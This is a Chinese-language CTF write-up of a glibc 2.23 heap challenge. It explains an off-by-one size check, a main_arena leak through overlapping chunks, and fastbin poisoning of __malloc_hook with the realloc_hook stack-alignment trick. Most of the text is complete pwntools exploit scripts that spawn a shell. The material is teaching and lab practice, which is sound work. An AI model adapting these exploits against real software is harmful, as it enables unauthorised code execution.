这道堆题比较简单 涉及到的知识点以往的文章都有介绍到 但是最后打malloc_hook的时候由于栈不满足onegadget的条件 所用到的realloc_hook的办法值得拿出来说一说
checksec看一下 保护机制全开
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledida看一下伪代码
main函数很常规 就基于菜单题实现的堆
__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int v4; // [rsp+4h] [rbp-Ch]
sub_AD0(a1, a2, a3); while ( 1 ) { menu(); v4 = recv_data(v4); switch ( v4 ) { case 1: create(); break; case 2: puts("Tell me the secret about you!!"); edit(); break; case 3: delete(); break; case 4: show(); break; case 5: return 0LL; default: puts("Wrong try again!!"); break; } }}重点抓edit函数和delete函数出来说 另外这题创建chunk用的是calloc函数 创建chunk的时候会清空chunk内容 使其为0
__int64 sub_E82(){ int v1; // [rsp+Ch] [rbp-14h] int v2; // [rsp+Ch] [rbp-14h] int v3; // [rsp+10h] [rbp-10h] unsigned int v4; // [rsp+14h] [rbp-Ch]
printf("index: "); v2 = recv_data(v1); v3 = v2; if ( v2 >= 0 && v2 <= 15 ) { v2 = *(&chunk_judge + 4 * v2); if ( v2 == 1 ) { printf("size: "); v2 = recv_data(1); v4 = compare(*(&chunk_size + 4 * v3), v2); if ( v2 > 0 ) { printf("content: "); v2 = recv_data2(chunk_point[2 * v3], v4); } } } return v2;}根据输入的index来索引bss段数组 如果该index有对应的chunk(即chunk_judge判断成功) 则输入size
在edit函数输入的size和create chunk时输入的size二者作为compare函数的参数 跟进看一下用来干什么
__int64 __fastcall sub_E26(int a1, unsigned int a2){ __int64 result; // rax
if ( a1 > a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return result;}当edit_size-create_size=10时 可以供我们多输入一个字节 那么利用四舍五入的机制 就可以做到溢出9个字节
delete函数:
__int64 sub_F8E(){ int v0; // eax int v2; // [rsp+Ch] [rbp-14h] int v3; // [rsp+10h] [rbp-10h] __int64 v4; // [rsp+10h] [rbp-10h]
printf("index: "); v0 = recv_data(v3); v4 = v0; v2 = v0; if ( v0 >= 0LL && v0 <= 15LL ) { v4 = *(&chunk_judge + 4 * v0); if ( v4 == 1 ) { *(&chunk_judge + 4 * v0) = 0; *(&chunk_size + 4 * v0) = 0; free(chunk_point[2 * v0]); chunk_point[2 * v2] = 0LL; } } return v4;}指针置零了 不存在uaf漏洞
那么合计一下思路 可以利用覆写chunk size来合并chunk 从而获得free_chunk的指针 这样就可以泄露main_arena的真实地址 从而计算处真实地址
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",28013)context.log_level = "debug"elf = ELF("./pwn")libc = ELF("buu16_64.so")
def add(size): io.recvuntil("choice: ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size))
def edit(index,size,content): io.recvuntil("choice: ") io.sendline(b'2') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("content: ") io.sendline(content)
def delete(index): io.recvuntil("choice: ") io.sendline(b'3') io.recvuntil("index: ") io.sendline(str(index))
def show(index): io.recvuntil("choice: ") io.sendline(b'4') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("content: ")
add(0x18)#0add(0x68)#1add(0x68)#2add(0x20)#3payload = cyclic(0x10+8)+b'\xe1'edit(0,0x18+10,payload)delete(1)add(0x68)#1show(2)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(main_arena_addr))libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)success(hex(libc_addr))这样我们获得了一个free chunk的指针 即chunk2
可以用其修改fd域 从而获得任意地址写的机会 因为libc版本是2.23 所以这里用malloc_hook_attack
add(0x68)#4delete(4)malloc_hook = libc_addr + libc.sym['__malloc_hook']edit(2,8,p64(malloc_hook-0x23))add(0x68)#4add(0x68)#5onegadget_addr = libc_addr + 0x4526arealloc_addr = libc_addr + libc.sym['realloc']success(hex(malloc_hook))payload = cyclic(0x13)+p64(onegadget_addr)edit(5,len(payload),payload)add(0x10)io.interactive()按理来说这道题到这里就结束了 但是你会发现几个onegadget都不行 这是因为onegadget所要求的栈空间并不满足的问题
这时候两种办法 一种是hgame2023的一题中利用到的double free也能触发malloc_hook 详细解释和手法可以去看我对应的wp
还有一种办法是利用realloc来实现 下面详细介绍一下
realloc函数是用于重新分配之前被分配过的chunk空间 其也有realloc_hook 并且也类似于malloc_hook 如果不为0则调用
关键在于两点 一是realloc_hook和malloc_hook相邻 也意味着我们可以同时修改二者
第二点在于realloc调用的时候会进行大量的push操作
.text:00000000000846C0 public realloc.text:00000000000846C0 realloc proc near ; CODE XREF: _realloc↑j.text:00000000000846C0 ; DATA XREF: LOAD:0000000000006BA0↑o ....text:00000000000846C0.text:00000000000846C0 var_60 = qword ptr -60h.text:00000000000846C0 var_58 = byte ptr -58h.text:00000000000846C0 var_48 = byte ptr -48h.text:00000000000846C0.text:00000000000846C0 ; __unwind {.text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc'.text:00000000000846C2 push r14.text:00000000000846C4 push r13.text:00000000000846C6 push r12.text:00000000000846C8 mov r13, rsi.text:00000000000846CB push rbp.text:00000000000846CC push rbx.text:00000000000846CD mov rbx, rdi.text:00000000000846D0 sub rsp, 38h.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr.text:00000000000846DB mov rax, [rax].text:00000000000846DE test rax, rax.text:00000000000846E1 jnz loc_848E8.text:00000000000846E7 test rsi, rsi.text:00000000000846EA jnz short loc_846F5.text:00000000000846EC test rdi, rdi.text:00000000000846EF jnz loc_84960所以可以修改我们的栈空间 使其符合条件(如果可以的话)
我们先使用gdb动调看一下 onegadget的条件没有被满足时 对应的栈空间
调试exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25622)context.log_level = "debug"elf = ELF("./pwn")libc = ELF("buu_libc_ubuntu16_64")
def add(size): io.recvuntil("choice: ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size))
def edit(index,size,content): io.recvuntil("choice: ") io.sendline(b'2') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("content: ") io.sendline(content)
def delete(index): io.recvuntil("choice: ") io.sendline(b'3') io.recvuntil("index: ") io.sendline(str(index))
def show(index): io.recvuntil("choice: ") io.sendline(b'4') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("content: ")
add(0x18)#0add(0x68)#1add(0x68)#2add(0x20)#3payload = cyclic(0x10+8)+b'\xe1'edit(0,0x18+10,payload)delete(1)add(0x68)#1show(2)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(main_arena_addr))libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)success(hex(libc_addr))add(0x68)#4delete(4)malloc_hook = libc_addr + libc.sym['__malloc_hook']edit(2,8,p64(malloc_hook-0x23))add(0x68)#4add(0x68)#5onegadget_addr = libc_addr + 0x4526arealloc_addr = libc_addr + libc.sym['realloc']success(hex(malloc_hook))payload = cyclic(0xb+0x8)+p64(onegadget_addr)edit(5,len(payload),payload)gdb.attach(io,'b *$rebase(0xccc)')add(0x10)此时断点打在calloc函数调用时 我们一步步s下去



此时进行了一个逻辑与操作 如果rax寄存器的值为0 那么逻辑与的结果为1
而jne指令当ZF零标志为0的时候 则会跳转 此时rax的值是一个地址 所以会执行jne跳转 我们继续跟进

此时call rax 再次跟进

这一步也就是onegadget判断栈结构的关键了 可以看到esp+0x30处并不等于NULL 所以onegadget执行失败
那么为什么我们改良后 通过realloc来调整栈结构的payload是
cyclic(0xb)+p64(onegadget_addr)+p64(realloc_addr+2)我们来看看malloc_hook内存地址附近的情况

可以看到往低地址偏移0x8处是realloc_hook 这也就意味着如果我们按照上面的payload覆写 那么此时程序的执行流程为

因此凭借着readlloc在执行前会进行的push入栈操作 可以实现栈结构调节
不过由于本地和远程以及许多因素 建议还是直接试realloc_addr+x的偏移
完整exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",25622)context.log_level = "debug"elf = ELF("./pwn")libc = ELF("buu_libc_ubuntu16_64")
def add(size): io.recvuntil("choice: ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size))
def edit(index,size,content): io.recvuntil("choice: ") io.sendline(b'2') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("content: ") io.sendline(content)
def delete(index): io.recvuntil("choice: ") io.sendline(b'3') io.recvuntil("index: ") io.sendline(str(index))
def show(index): io.recvuntil("choice: ") io.sendline(b'4') io.recvuntil("index: ") io.sendline(str(index)) io.recvuntil("content: ")
add(0x18)#0add(0x68)#1add(0x68)#2add(0x20)#3payload = cyclic(0x10+8)+b'\xe1'edit(0,0x18+10,payload)delete(1)add(0x68)#1show(2)main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success(hex(main_arena_addr))libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)success(hex(libc_addr))add(0x68)#4delete(4)malloc_hook = libc_addr + libc.sym['__malloc_hook']edit(2,8,p64(malloc_hook-0x23))add(0x68)#4add(0x68)#5onegadget_addr = libc_addr + 0x4526arealloc_addr = libc_addr + libc.sym['realloc']success(hex(malloc_hook))gdb.attach(io)payload = cyclic(11)+p64(onegadget_addr)+p64(realloc_addr+2)edit(5,len(payload),payload)add(0x10)io.interactive()